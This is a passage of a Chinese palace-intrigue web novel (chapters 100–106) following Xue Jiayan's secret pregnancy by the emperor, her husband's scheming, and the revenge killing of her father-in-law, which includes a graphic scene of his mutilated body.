他刚下值,官服还没来得及换,他目光复杂,落在薛嘉言身上,沉默地看了她半晌,才缓缓走上前,声音比往日软了许多,低声道:“嘉嘉,你怎么会是福运粮行的东家?是……是他给你的?” 福运粮行是京城出名的几大粮行之一,薛嘉言母女手上原有几间铺子,戚少亭是知道的。 他口中的“他”,两人都心知肚明指的是姜玄。薛嘉言没有否认,抬起头看了他一眼,轻轻点了点头,算是承认了。 戚少亭的呼吸微微一滞,走到薛嘉言身旁的椅子上坐下,身体微微前倾,又追问道:“可他不是已经不召你入宫了吗?既如此,又为何给你这么大一间粮行?” 薛嘉言语气带着几分漫不经心:“男人心里若是有一个女人,自然会想法子给她些东西,让她过得安稳些,这不是很简单的道理吗?哦,我倒忘了,你从来没给过我什么,自然不懂这些。” 这话像一根针,狠狠扎在戚少亭心上。他的脸色瞬间变了变,喃喃道:“嘉嘉,你何必这般说话伤我?你嫁我的时候就知道,我戚家家境一般,比不上那些勋贵世家,我能给你的,只有我这一颗心。” “一颗心?”薛嘉言像是听到了什么笑话,轻轻嗤笑一声,语气里满是讽刺,“是,你不仅给不了我优渥的生活,连最基本的爱与尊重也没有。” 戚少亭的胸口剧烈起伏起来,脸上露出几分急切,连忙辩解:“我怎么不爱你了?咱们成婚五年多,只有棠姐儿一个孩子,我有过半句怨言吗?府里的丫鬟媳妇,我有过任何不该有的心思吗?我想过要纳妾吗?若不是因为他看上你,强行把你召入宫中,咱们不一直是相亲相爱的吗?这些日子,你以为我好过吗?看到你跟他有牵扯,我的心难道不是像被刀割一般疼?” 他说到最后,眼圈渐渐泛红,眼底甚至泛起了泪光,声音也带着几分哽咽,看起来竟似十分痛苦,仿佛受了天大的委屈。 第101章 好言难劝该死的鬼 薛嘉言看着他这副情真意切的模样,心里只觉得好笑。若是不知情的人见了,怕是真要以为他是个深情却无奈的丈夫。 薛嘉言压下心中的嘲讽,脸上却没显露半分,只是轻轻笑了一声,问道:“你现在跟我说这些话,是想做什么?” 戚少亭见她语气松动,声音放得更柔,满脸诚挚地说道:“嘉嘉,我知道你心里有气,也知道你受了委屈。可你要明白,他是帝王,后宫佳丽三千,不可能永远这样宠着你。等他新鲜感过了,你又该怎么办?日子终究还是得咱们夫妻俩一起过,生同寝,死同穴,咱们才是两口子。” 他顿了顿,又压低声音道:“先前的事,反正也没多少人知道,只要你能打开心结,忘了那些不愉快,咱们还像以前那样好好过日子,好不好?” 薛嘉言哪里不明白他的心思,他这是看她手上有了福运粮行,这么大一桩买卖,这辈子的富贵都不用愁了。 看着戚少亭这副自以为深情的模样,薛嘉言也忍不住,嘴角勾起一抹冰冷的笑,缓缓开口:“夫君这话的意思,是想做武胜军节度使龚美?哦,我倒是说错了,该叫刘美才是。若是真要如此,那夫君一家子可得跟我姓薛才是,至于往后能封个什么官,这个我可做不了主,倒要看皇上的意思。” 龚美是刘娥未入宫前的丈夫,当年得知襄王对刘娥有意,他不仅没有阻拦,反而主动将刘娥送入王府,之后还自称是刘娥兄长,改名刘美,靠着这层关系,后来竟也得了官职,享尽荣华。 薛嘉言这话,倒还抬高了戚少亭——龚美虽有攀附之心,却也坦荡,从不会拿“夫妻情分”“贞节”来道德绑架。 戚少亭指着薛嘉言,嘴唇哆嗦了半天,脸色由白转青,又由青转红,最终憋出一句带着怒意的话:“龚美改姓,那也是刘娥进了宫、得了圣宠之后!你如今不过是……不过是得了些好处,真有那造化能跟刘娥比吗?等你真有那日,再来跟我说这些!” 话说完,他也不等薛嘉言回应,猛地甩了甩袖子,气急败坏地转身就走。 薛嘉言看着他狼狈离去的背影,端起桌上的茶杯,抿了一口温热的茶水。 还有几日就是冬至了,戚炳春那个老东西,到时候就要被千刀万剐了。等戚少亭没了爹,又要按规制丁忧三年,不知那日他的脸色跟今日相比,哪个更难看呢。 两日后,薛嘉言准备出门,刚走出春和院,就被戚炳春拦住了。 他问道:“少亭家的,上回跟你说的事,怎么还没动静?” 薛嘉言心中冷笑,面上却堆起一抹温和的笑,轻声道:“您别急,此事已经有眉目了。说是至少能给个七品的实职,您老再耐心等等,过不了几日就该有准信了。” 她先给戚炳春画个大饼,让他在死前做个美梦。 戚炳春一听“七品实职”,眼睛瞬间亮了起来,脸上的褶子更深了,连连点头:“好好好!” 他原本还琢磨着,去福运粮行做个大掌柜,如今听闻有官做,哪里还看得上掌柜的差使?当即眉开眼笑地走了。 薛嘉言看着他离去的背影,嘴角的笑意渐渐淡去。她抬手摸了摸自己的小腹,那里还平坦如初,等冬至那日戚炳春一死,办丧事的时候,她的身孕就必须对外公布了。 一夜北风紧,转眼便到了冬至。各家要忙着祭祖,添衣,宴饮。 按例各衙门今日放假,杨主事从午后起就坐不住了,他有些日子没去找王寡妇了。 可他刚换好衣裳,忽然传来一阵急促的脚步声,他娘子李氏提着个鸡毛掸子进来了。 “杨永昌!你个没良心的!”李氏一把揪着他的衣领,“原来你同猫眼胡同一个寡妇勾搭上了!你当我是死的不成?” 杨主事慌得忙去掰她的手,脸涨得通红:“你别听外人瞎嚼蛆!” “瞎嚼蛆?”李氏冷笑一声,抬手就往他脸上抓,“我说你这阵子怎么不碰我呢,原来是外头吃饱了!倒让老娘夜夜煎熬!你还敢狡辩!” 尖厉的指甲划过杨主事的脸颊,瞬间留下三道红痕,渗出血珠。 杨主事吃痛,猛地推开她,捂着脸颊骂道:“你疯了不成!撒什么泼!” 李氏坐在地上哭嚎起来,声音大得恨不得街坊都能听见:“我为你生儿育女,操持家务,你倒好,拿银子去睡寡妇!让我在家守活寡!我这就去吏部找你们大人评理,让大家看看你这伪君子的模样!” 杨主事这下真慌了,可不能因桃色丑闻毁了前程。 他忙上前拉李氏,好说歹说才把人哄住,又承诺给她打一套金首饰,这才把这场闹剧压下去。可脸上的三道抓痕火辣辣的疼,出门定然惹人议论,再去王寡妇家更是不妥。 杨主事对着镜子揉了揉脸颊,越想越觉得晦气,狠狠啐了一口:“泼妇!早晚休了你!” 嘴上骂着,他终究是没敢再去找王寡妇。 另一边,薛嘉言早就让司雨给戚炳春和栾氏备好了冬至的礼物,司雨交代了春桃,将礼物都送到戚炳春手里。 戚炳春拆开一看,瞧见那两块上好的杭绸,略犹豫了一下,终究没跟栾氏说声,揣着料子,拎着酒壶,脚步轻快地就往王寡妇家去。 消息很快传到薛嘉言耳中。她轻轻叹了口气,真是好言难劝该死的鬼,戚炳春想死,谁也拉不住。 冬至后的次日清晨,薄雾还没散尽,一片清冷。 栾氏还赖在榻上,忽听得外间一阵急促的脚步声,杨嬷嬷掀着帘角冲进来,鬓发都跑乱了,喘着粗气喊道:“太太!不好了!出大事了!” 栾氏被惊得猛地坐起来,头发散在肩头,睡眼惺忪却满是警惕:“慌什么?天塌下来了不成?” 杨嬷嬷扑到榻边,声音都带着哭腔,“我刚才去灶房打热水,才听说昨儿冬至,大奶奶给您和老爷都备了礼品,可咱们屋连影子都没见着!我赶紧去老爷的房里打听,才知道老爷头天就拎着礼品去了王寡妇家,整整一夜,都没回来!” “什么?!”栾氏像是被兜头泼了盆冰水,瞬间清醒过来,抓起枕边的衣裳就往身上套,手指抖得连盘扣都扣错了位,“这个杀千刀的!拿我的东西给那娼妇!我去要回来。” 杨嬷嬷慌忙跟上,两人怒气冲冲地往巷口的王寡妇家赶。 此时的薛嘉言,正坐在桌旁喝茶。她难得早起,神色平静地等着热闹起来。 第102章 丧礼上的喜事 果然,没等多久,巷口就传来一阵撕心裂肺的哭喊,那声音尖锐又惶恐,正是杨嬷嬷的。 她跌跌撞撞地往回跑,老远就扯着嗓子喊:“来人啊!快去找官差!报官!王寡妇家……死人了!出人命了!” 薛嘉言这才放下茶盏,起身理了理衣襟,对司雨道:“走吧,去看看。” 王寡妇家门口又围了不少邻居,探头探脑地往里看,嘴里发出阵阵抽气声。薛嘉言走到前排,往里一瞧,屋里的景象让她也微微蹙了眉。 王寡妇被反绑在堂屋的梨花木椅子上,嘴里塞着块粗布,只露出一双圆睁的眼睛,眼神涣散得像失了魂,浑身止不住地发抖。她的青布裙下摆湿了一大片,显然是被吓尿了。 而她对面的椅子上,戚炳春祼着身体,身上伤口纵横交错,皮肉外翻着,身下则淌着一片暗红的血渍,尤其是两腿中间,那物被人割下来,就扔在了他的脚边。 戚炳春还没完全断气,胸膛微弱地起伏着,眼睛只剩下一条缝,瞳孔涣散,看来也活不了多久了。 “我的天……这是被活剐了啊……”人群里有人小声嘀咕,声音都在发颤。 栾氏瘫倒在地上,眼睛死死盯着戚炳春,嘴巴张了张,却发不出半点声音,脸色白得像纸,眼神空洞地吓人,仿佛魂魄都被这血腥场面勾走了。杨嬷嬷慌忙扑过去扶她,她却没什么意识,就那么瘫在地上。 薛嘉言拿着帕子捂住嘴,走近戚炳春,拿起散落的衣裳似乎是想给他盖住头脸,趁此机会在他耳畔小声说:“这一切,都是我设计的,老东西,下地狱去吧。” 戚炳春像是听到了她的话,血肉模糊的脸上抽搐了一下,发出低不可闻的嗬嗬声,身上残余的血肉也痉挛起来,本已凝结的血瞬间涌出更多,胸口细微的起伏渐渐消失。 “官差来了!官差来了!”人群外有人喊了一声,众人慌忙往两边让开。 薛嘉言看着捕快们冲进院里,有的去查看戚炳春的伤势,有的去解开王寡妇的绳索,有的在院里四处查看痕迹,有的开始询问邻居。 捕快刚在王寡妇家门前拉了粗麻绳,将围观的百姓拦在外面,就见巷口传来一阵慌乱的脚步声,戚少亭跌跌撞撞跑过来,头发散乱着,连靴子都穿反了,显然是从床上被仓促叫起来的。 昨日休沐,戚少亭跟鸿胪寺同僚喝酒,心里畅快,回来倒头就睡。今早阿吉听巷子里吵嚷着“死人了”,一打听才知道死的是戚炳春,急得他连滚带爬去叫戚少亭。 戚少亭走到麻绳前,一把推开拦着的捕快,踉跄着往院里闯。 刚跨进门槛,就看到早已没了人样的戚炳春,他像被钉在了原地,嘴唇不受控制地哆嗦着,声音低沙哑着低吼:“不……不是我爹,那不是我爹……” 一旁的捕快见他这般模样,忍不住叹了口气,上前拱手行了个礼,语气带着几分同情:“戚大人,令堂方才已经确认过了,死者……正是令尊。您还请节哀。” 戚少亭猛地转头,眼睛里布满血丝,死死盯着瘫坐在地上的栾氏,嘶吼道,“那不是我爹!” 他的声音悲怆,仿佛要把所有的恐慌都发泄在栾氏身上。 围观的百姓见了,都忍不住低声唏嘘:“戚大人这是太孝顺了,接受不了父亲出事,才失了分寸。” “是啊,换谁见着亲爹这样,都得崩溃。” 议论声嗡嗡地传进薛嘉言耳朵里,她看着困兽一般的戚少亭,也只有她明白,戚少亭哪里是在哭戚炳春?他是在哭自己的官位! 很快,顺天府将现场查明,把戚炳春的尸体先带回去了,王寡妇也被带回去审问,戚家人也得过去说明情况。 等从顺天府回来,已是黄昏,这桩骇人听闻的惨案早已传遍全城,各种荒唐的流言传开,满城风雨皆是戚家带来。 “我听说是王寡妇的亡夫夜里当鬼夫,谁知王寡妇跟戚老爷勾搭上了,夜里不肯侍奉鬼夫,戚老爷才被鬼抓去‘剐’了!” “还都是王寡妇玩的花啊,听说是她剐的戚老爷,剐一刀哆嗦一下,剐一刀哆嗦一下……” “戚老爷死得惨啊,听说割下来的肉条还能动呢,说不定冤魂不散,猫眼胡同这些日子肯定不得安宁了……” …… 戚家人个个如丧考妣,只有戚少亭和戚倩蓉是真的丧考,也是真的伤心。这兄妹俩一个要丁忧辞官,一个守孝不得婚嫁,除了哭爹,更多是哭自己。 顺天府三日后便在府衙前贴出了朱红告示,白纸黑字写清了案情:凶手乃是王寡妇的小叔子张二,因不忿寡嫂与戚炳春私通,持刀伤人致戚炳春殒命。 告示刚贴出,府衙前就围满了看客。有识字的秀才念完告示,人群里顿时炸开了锅,议论声像滚油里撒了水。 虽未明言,百姓们却也能猜到,叔嫂若不是有奸情,又怎么会到杀人的程度。一时之间,这桩凶案染上桃色,传扬得更为离奇。 有人又提起戚倩蓉未婚先孕的事情,如今戚炳春又出了这等秽乱之事,百姓们便把两件事绑在一起嚼舌根:“上梁不正下梁歪!老子在外头偷寡妇,女儿与人私相授受,戚家这家风真是烂透了!” 路过戚家的人都要指着大门啐一口,骂戚家家风不正。 戚家虽被满城百姓唾骂,可戚炳春的葬礼该办还是得办。 戚少亭整日阴沉着脸,眼底的红血丝几日都未消退,他派人去鸿胪寺请了丧假,在家中草草操持父亲的葬礼。 葬礼那日,戚家院子里冷冷清清,来吊唁的大多是戚少亭的同年、同僚,还有几个薛家的远房亲戚,稀稀拉拉站了半院,连像样的仪仗都凑不齐。 薛嘉言穿着一袭素白孝衣,跪在灵前的蒲团上,不住地望火盆里放纸钱。葬礼快结束,宾客们正准备起身告辞,忽然见薛嘉言身子一软,朝着一侧倒去。 “奶奶!”司雨眼疾手快,连忙上前扶住她,连声喊道:“张大夫快来看看我们奶奶!” 张大夫是戚家常用的大夫,又与薛嘉言的父亲有些交情,因此也来参见了葬礼。 张大夫赶紧蹲下身,给薛嘉言搭了脉,片刻后站起身,对着戚少亭道:“恭喜戚大人,奶奶这是有了身孕,连日操劳,才会突然晕倒,问题不大,休息休息就好了。” 第103章 春秋大梦 戚少亭站在原地,双眼猛地睁得溜圆,瞳孔微微收缩,不可思议地看向被司雨扶着缓缓睁开眼的薛嘉言,嘴唇动了动,却说不出一句话。 有不知情的同僚上前拍了拍他的肩膀,宽慰道:“戚兄,节哀顺变。虽说伯父不幸离世,可嫂子又有了身孕,这是喜事,你也该打起精神。” 戚少亭脸上的震惊渐渐褪去,他深吸一口气,竭力掩住心中翻涌的愤懑。当着这么多宾客的面,他不能发作,只能强压下怒火,木然地朝着众人拱手道谢,声音干涩:“多谢诸位关心。” 薛嘉言被司雨扶着回到春和院,刚坐下,院门外就传来一阵急促的脚步声。 紧接着,戚少亭阴沉着脸冲了进来,双目赤红,对着屋内的司雨、春桃等人厉声喝道:“都滚出去!” 司雨被他这副凶神恶煞的模样吓到,下意识地抓紧了薛嘉言的胳膊,眼神里满是担忧。 薛嘉言却十分平静,轻轻拍了拍司雨的手背,语气淡然:“你们先出去吧。” 司雨只得带着春桃等人退了出去,守在门口随时等主子吩咐。 房门刚关上,戚少亭一步步逼近薛嘉言,阴恻恻问道:“你怎么会有身孕?” 薛嘉言迎上他的目光,淡淡开口:“皇上龙精虎猛,我为何不能有身孕?” 戚少亭瞬间噎住,张了张嘴,却不知说什么。他自然不敢提避子散的事,怒火与憋屈在胸腔里翻涌,戚少亭猛地攥紧拳头,咬牙切齿道:“这是个孽种!不能留!” “你敢称皇上的孩子是孽种?是不要全家的命了吗?”薛嘉言冷冷道。 戚少亭浑身一僵,脸色瞬间涨红又转为苍白。愤怒瞬间被恐惧压下,他不敢提“孽种”二字,只能喘着粗气,眼神复杂地看着薛嘉言。 薛嘉言语气凉薄道:“你前些日子不还跟我抱怨戚家没有男孩吗?若这胎是个男孩,你不就有了儿子?让皇子给你做儿子,难道还辱没了你不成?” “可他不是我的种!”戚少亭低吼出声,语气里满是不甘,“这孩子跟我没有半点血缘关系,我凭什么要替别人养儿子?” “你以为别人家的儿子,就全是自己的种吗?”薛嘉言轻轻嗤笑一声,“谁的种有什么要紧的?重要的是,他跟谁的姓,做谁的儿子,将来能给你带来什么。” 戚少亭被她这话问得一愣,垂眸低头,陷入了沉思。 是啊,他没有胆量把皇上的孩子打掉,那薛嘉言的提议,似乎也不是不能接受。嬴政当年还传言是吕不韦的儿子,吕不韦也凭借这层关系权倾朝野。 若是薛嘉言腹中真是个男孩,那就是皇上的长子!只要这孩子跟他有了感情,等孩子将来有了出息,他不就能像吕不韦那样,成为“仲父”,享尽荣华富贵?到时候,别说鸿胪寺的小官,就是入阁拜相,也不是不可能! 想到这里,戚少亭的眼中瞬间闪过一丝精光,原本的愤怒与不甘消失不见。 薛嘉言将他的神色变化尽收眼底,眼下她还需要戚少亭配合,稳住“孩子是戚家骨肉”的假象,自然不会戳破他的幻想,反而顺着他的心思,温声道:“所以,这个孩子,就是咱们俩的。无论将来谁问起,你都要一口咬定,知道吗?” 戚少亭心中还有一丝迟疑,抬头问道:“若是皇上问起呢?” 薛嘉言早已想好对策:“你就说是我耐不住,主动勾引了你。你我本就是明媒正娶的夫妻,怀上孩子本就天经地义。咱们先把孩子留在身边养大,让他跟你亲近,对咱们有了父子、母子之情。等孩子再大一些,懂事了,咱们再找机会让他认回亲爹。到时候,他心里既有你这个‘养父’,又有皇上做靠山,戚家的荣光指日可待,你觉得如何?” 戚少亭不禁心动,孩子在他身边长大,必然会跟他亲近,将来即便认了皇上做亲爹,这份“父子之情”也不会断。有了未来皇长子的助力,他的前途简直不可限量! 他要丁忧三年,三年后若是皇上早就把薛氏忘了,还有皇长子作为依仗! 戚少亭脸上的迟疑一扫而空,取而代之的是难以掩饰的兴奋,他装作无奈点头:“好!也只能按你说的办了。” 长宜宫的暖阁里,熏炉燃着淡淡的龙涎香,驱散了冬日的寒意。姜玄刚下朝回来,接过张鸿宝递来的热茶,抿了一口,暖意顺着喉咙滑下,才稍稍缓解了疲惫。 张鸿宝神色带着几分犹豫,斟酌着开口:“皇上,有件事,老奴得跟您说。” 姜玄抬眸看他,语气平淡:“什么事?” 张鸿宝的声音忽然变得结结巴巴:“薛……薛主子她……有……有孕了。” 姜玄一怔,随即追问道:“你怎么知道的?” 张鸿宝连忙回道:“皇上前阵子不是让老奴派了两个暗卫去暗中保护薛主子的安危吗?昨晚暗卫千帆回来禀告,说是戚家老爷子的葬礼上,薛主子突然晕倒了,当场请了大夫诊治,大夫诊脉后说,薛主子是有了身孕,劳累过度才晕倒的。” 姜玄的心猛地漏跳了一拍,胸腔里像是被什么东西撞了一下,他垂眸沉默了片刻,才渐渐镇定下来,抬眸问道:“她有孕几个月了?” “这……老奴也不清楚。”张鸿宝有些为难地回道,“老奴特意去太医院问了,太医说,刚诊出脉的话,说明怀孕时间还短,脉象尚浅,很难精准诊断出具体的月份,约莫着也就一两个月的光景。” 姜玄心中却翻涌着复杂的情绪——震惊、意外,还有一丝连他自己都未曾察觉的欣喜。 沉默了半晌,姜玄终于开口:“你去安排一下,告诉她,明日朕要见她。让她去青瓦胡同的宅子等着。” 第104章 朕很满意 第二日午后,没有太阳,天气阴冷阴冷,滴水成冰,大街上几乎没什么人影。 青瓦胡同宅院门口,薛嘉言抬头望着眼前的朱漆大门,心中泛起几分感慨。时隔快两个月,她终于再次踏进了这间院门。 薛嘉言深吸一口气,推开大门走了进去。萧瑟风中,院中只有枝桠上的冬青还有暗哑的绿意。 姜玄还没来,薛嘉言跟着拾英走到正屋坐下,丫鬟奉上热茶。 薛嘉言捧着温热的茶盏,目光却下意识转向内室的方向。那道描金山水屏风后头,曾是她与姜玄最私密的角落,两人在那里缠绵缱绻,他曾低头在她耳边说过的软语,曾落在她脸颊的温柔轻吻,如今想来,却像一场易碎的镜花水月。 她早已明白那些温情不过是帝王一时的兴致,可胸腔里还是忍不住泛起一阵酸涩。 一杯茶还没喝完,院门外传来熟悉的脚步声,是姜玄来了。 薛嘉言握着茶盏的手微微一紧,心跳骤然加快,她深吸一口气,将茶盏放在桌案上,努力让自己的神色看起来平静些。 “拾英,去做点吃食,不必太麻烦,下碗汤面就行。” 门外传来姜玄的声音,依旧沉稳。紧接着,脚步声越来越近,很快他的身影便出现在门口,逆光而立,身形挺拔如松。 薛嘉言连忙站起身,敛衽躬身行礼:“给皇上请安。” 姜玄没有立刻应声,只是定定地看着她。他的目光掠过落在她依旧平坦的小腹上,片刻后,他才缓缓开口:“行了,不必多礼,到里面说话。” 话音落,他迈步朝着内室走去,薛嘉言只得提着裙角跟上。 内室里收拾得很干净,干净得仿佛从来没有人住过。薛嘉言看着这景象,心中自嘲地笑了笑——是啊,他们本就不算“住过”,不过是借着这方寸之地偷情罢了。 眼眸忍不住有些酸胀,她连忙垂下眼帘,用力眨了眨。 姜玄没有去坐窗边的圈椅,径直走到床边坐下,他点了点自己身边的位置,声音平淡却带着不容拒绝的意味:“过来坐。” 她犹豫了片刻,终究还是走上前,在他身边坐下,身体挺得笔直,像一根紧绷的弦,与他之间隔着一拳宽的距离,再没有从前那般软得像条蛇、恨不得黏在他身上的模样。 内室里瞬间安静下来,只剩下窗外偶尔传来的风声,还有两人之间若有若无的呼吸声。空气仿佛都变得粘稠起来,带着几分尴尬,几分疏离。 姜玄看着薛嘉言紧绷的侧脸,先打破了沉默,低声道:“两个月,你把福运粮行和织坊都打理得不错,平价售粮解了百姓燃眉之急,织坊的生意也有声有色,辛苦了。” 薛嘉言没想到他会先提起生意上的事,微微一怔,随即垂眸回道:“这都是臣妇分内该做的,谈不上辛苦。” 姜玄轻轻点头,又道:“今年天气果然冷得厉害,幸亏你早前提醒了朕,朕提前让周边几省防范,眼下倒也没出什么乱子。” 薛嘉言清楚这不过是严寒的开端,忙抬眸补充道:“皇上,依臣妇梦中所见,眼下的寒冷还只是刚开始。这股寒潮会一直持续,从现在要冷到明年二月,中间还可能有几场暴雪。皇上万万不能掉以轻心,尤其是边防的将士们,他们驻守在苦寒之地,御寒物资若是短缺,怕是撑不住这般严寒。” 姜玄闻言,眉头微微蹙起,沉默片刻,他忽然伸手揽住薛嘉言的肩膀,将她往自己身边带了带,“朕知道了,多谢你提醒。昨日大同总兵派人来报,说寒潮已降临边境,送去的军衣中,你们福运织坊制作的军衣,比其他织坊的明显厚实,不仅抗冻还耐磨,将士们都很满意。” 薛嘉言忽被他揽住肩膀,身体骤然僵住,可听到福运织坊的军衣受好评”时,那点紧张很快被欣喜取代,眼睛瞬间亮了起来,语气带着欣喜:“真的吗?那太好了!臣妇库房里还留了不少上好的皮毛和云绒呢,若是军中还需要,臣妇可以让织坊连夜赶制一批军衣,免费捐赠给边防将士们。他们守着国门,风餐露宿的不易,可不能让他们在寒冬里忍冻挨饿。” 看着她眼中闪烁的光亮,像极了从前两人相处时的鲜活模样,姜玄脸上也露出笑意,抬手拍了拍她的肩膀,打趣道:“你倒大方,就不怕这般捐赠,把织坊赚的钱都亏进去?” 薛嘉言心中暗道,亏也是亏你的钱,嘴上却笑着回道:“皇上放心,这次云绒呢卖得极好,赚的钱足够支撑捐赠这些物资。” 姜玄闻言,摇了摇头,认真道:“罢了,捐赠倒不必。你让织坊赶制军衣,成本也不低,还是让户部和兵部商议一下,跟你采买吧,你给他们价格优惠些就是了。等冬天过去,朕让大同总兵那边写封奏折,表彰你为边防军需所做的贡献,到时候朕也好顺理成章地给你封个诰命。” 薛嘉言见姜玄并没有忘记之前的承诺,脸上也有了笑意,点了点头。 两人一番对话,先前的尴尬疏离消散大半。这时,门外传来拾英的声音:“主子,汤面做好了,您趁热吃吧。” 姜玄揽着薛嘉言肩膀的手轻轻拍了拍,语气带着几分亲昵:“朕下朝后没来得及用膳就过来了,肚子正饿着,你陪朕一起吃点。” 薛嘉言心中的疑惑又深了几分,两人上次不欢而散,期间再没见过,他忽然装作没事一般,明明知道她怀孕的事,却半句不提,这般反常的举动让她越发不安。 拾英早已将饭菜摆好,一碗热腾腾的笋泼肉面,两个金黄酥脆的羊肉胡饼,一碟蒸得油亮的腊肉腊肠,另有木耳炒菠菜,韭黄炒肉丝这两道家常小菜。 姜玄与薛嘉言分别落座,他取了个空碗,将笋泼肉面分了一半出来,推到薛嘉言面前。 薛嘉言中午因为要见姜玄,心里紧张得没什么胃口,只随便吃了几口粥,此刻闻到饭菜的香气,确实觉得饿了。 两人默默吃着饭,席间虽无太多话语,氛围却并不尴尬。姜玄时不时给她夹一筷子腊肉,又添一筷子韭黄肉丝。见她唇边有汤汁,还拿了帕子给她擦拭。 薛嘉言越发觉得怪异,不知姜玄到底要做什么。 第105章 是我夫君的 吃完饭,拾英端来浓茶,两人漱口净了手,便又朝着内室走去。薛嘉言刚迈过内室门槛,身后传来一声轻响,姜玄反手将房门关上了。 不等她反应过来,姜玄上前一步,手臂环住她的膝弯与后背,将她整个人打横抱了起来。 薛嘉言惊呼一声,下意识地伸手搂紧了他的脖子。 姜玄抱着她走到床边,轻轻将她放在柔软的锦被上,随即俯身,一只手撑在她身侧的床榻上,另一只手顺着她的衣襟钻了进去。 温热的手滑过她的腰腹,摸索片刻后,最终落在了她平坦温热的小腹上,轻轻摩挲着。 “你有了朕的孩子?”他的声音低沉沙哑,带着一丝颤抖,目光紧紧锁在她的脸上。 薛嘉言的心怦怦直跳,后背渗出细密的冷汗,她咬着牙迎上他的目光,平静道:“不,是我夫君的。” 姜玄的脸色骤然变了,猛地将手从她衣襟里抽出来,转而捏住她的下巴,哑声追问道:“你再说一遍!这孩子是谁的?” 下巴被捏得有些疼,薛嘉言依旧坚持道:“是我夫君的。” “他还敢碰你?”姜玄的声音里淬着冰。 薛嘉言迎着他的怒火,反而平静了下来,语气带着几分委屈:“臣妇与夫君是明媒正娶的夫妻,绵延子嗣本就是正事。您两个月未曾召臣妇,也未曾有过半句消息,臣妇与夫君都以为,皇上已经厌弃臣妇,不愿再与臣妇有牵扯。既是如此,臣妇与夫君行周公之礼,也是情理之中的事,没想到竟这么快就怀上了。” “你的意思,是朕不行?”姜玄的牙齿咬得咯咯作响,眼眸中燃烧着怒火。 薛嘉言垂下眼帘,避开他凶狠的目光,平静道:“皇上很行,只是天意如此。” 姜玄的胸膛剧烈起伏着,脸色难看到了极点,他盯着薛嘉言倔强的脸,一字一顿地说道:“朕再问你一次,这孩子到底是谁的?” 薛嘉言再次清晰地说道:“是我夫君的。” 姜玄猛地松开捏着她下巴的手,随即转身在床沿坐下,背对着薛嘉言,宽阔的肩膀微微绷紧,连带着衣料都泛起褶皱。 内室里静得可怕,只有窗外狂风掠过枝头的呜咽声,薛嘉言看不到他的脸,却能清晰地感受到他周身散发的怒意。 她知道这会惹怒姜玄,可她没有退路,她和棠姐儿比姜玄更需要这个孩子。 姜玄是九五之尊,将来三宫六院,佳丽无数,想要多少子嗣都能有,可她不一样,一个女人一辈子能生几个孩子呢。 她母亲当年生产伤了身子,这辈子只有她一个女儿,肃国公府的那些堂兄弟姐妹,从来没把她当作真正的薛家人,她太清楚孤立无援的滋味了。 棠姐儿是女儿身,将来总要嫁人生子,若能有个兄弟姐妹,往后在这世上也能多一份依靠。 况且,将来戚少亭没了,她也需要一个男丁能鼎立门户,如果腹中这胎是男孩就好了。 就在薛嘉言心绪翻涌时,姜玄忽然动了。他缓缓站起身,动作有些僵硬,没有回头看薛嘉言,只是背对着她,声音低沉说道:“既然你说不是,那就不是吧。” 薛嘉言的心猛地一揪,她竟从那平淡的语气里,听出了一丝哭腔。她立刻摇了摇头,在心里否定了这个荒唐的念头。 话音落下后,内室又陷入短暂的沉默。姜玄见薛嘉言没有回话,大步朝着门口走去。 “吱呀”一声,房门被推开,又重重合上。薛嘉言侧耳倾听,能听到他的脚步声从近及远,渐渐消失在院子里,最后连马车驶离的声响都听不见了。 内室里彻底安静下来,只剩下她一个人,还有一室淡淡的龙涎香,像是在提醒着她,刚刚谁来过。 薛嘉言眼眶忍不住湿了,心里酸得难受,连呼吸都带着涩意。她知道,没有哪个男人能承受这种事。她闭上眼,靠在迎枕上缓了好一会儿。 往后,姜玄应该不会再召她了。她与他,应该是结束了。 事实也如她所料,自此之后,姜玄便彻底从她的生活里消失了。 几日后,拾英上门来,说想到薛嘉言身边伺候。 薛嘉言有些为难。她确实喜欢拾英做事的利落劲,可她是姜玄的人,她不好留下他的人在身边。 拾英似乎看穿了她的顾虑,连忙从包袱里取出一张叠得整齐的纸,递到她面前:“奶奶放心,婢子早就被主子赐给您了,这是身契。婢子在京城无亲无故,您要是不收留婢子,婢子就真的无事可做、无处可去了。” 她顿了顿,又道:“云岫姑干,能去粮行和织坊帮您打理生意,婢子笨,只擅长伺候人。您怀着身孕,身边多个人照顾总是好的,您就容婢子留在身边吧。” 薛嘉言只得点头留下她,对外只说是母亲送来的人。 几日后,京城又下起了雪。这次不是细密的小雪,而是狂风卷着鹅毛大雪,呼啸着拍打门窗,天地间一片白茫茫。家家户户都紧闭门窗,街上积起了厚厚的雪,长街此刻寂静得只剩下风雪声。 春和院里却暖意融融,地龙烧得正旺,屋内温暖如春。 棠姐儿穿着厚厚的棉袄,坐在靠窗地榻上,正跟着司雨学翻花绳。 薛嘉言则在书房里,与云岫低声说着话。 云岫脸上带着几分笑意,轻声道:“奶奶,高七老爷前些日子还往咱们织坊去了一趟,没成想这几日就事发了,不仅被高老爷子夺了打理生意的权,还挨了家法,得躺在床上一两个月才能下床。” 薛嘉言听到这消息,眼睛一亮,原本平静的脸上瞬间浮起兴奋,连忙问道:“做得干净吗?可曾留下痕迹?” “奶奶放心,一点混迹都没留下。”云岫笑着回道。 “高七老爷本就帮着他那位杨夫人私底下放印子钱,快到交账的日子,婢子就按您的吩咐,找了李虎壮士,让他装作劫匪,把高七老爷绑到了城外的破庙里。杨夫人见高七老爷迟迟不回,着急得很,她身边的丫鬟不知从哪儿听说,高七老爷在桂花胡同养了个外室,杨夫人当即就火了,带着人就冲了过去。” 说到这里,云岫忍不住笑出了声:“杨夫人原本以为是高七老爷卷了她放印子钱的银子,躲去外室那儿了,满心怒火想抓奸要钱。谁知一打进那宅子里,正撞见高侍郎跟一个大肚子的女人腻在一起!杨夫人当场就炸了,又哭又闹,把整个桂花胡同都惊动了。如今这事闹得人尽皆知,已经有御史上折子参高侍郎治家不严,私养外室了,高家这阵子怕是不安宁了。” 薛嘉言听着,脸上也露出了舒心的笑容,可这笑容还没维持多久,就被云岫接下来的话彻底驱散了。 第106章 有孕了 云岫脸上的笑意渐渐淡去,语气带着几分迟疑:“奶奶,今日甘松找婢子说话,有件事我得告诉您——宫里有位宫女怀了身孕,皇上大喜,已经下旨将她封为美人,安置在了长宜宫。薛主子,您和主子爷……” 薛嘉言平静说道:“我与他,原本就不可能是长久的关系。” 话虽如此,她的心却像被一根细针扎了一下,隐隐作痛。 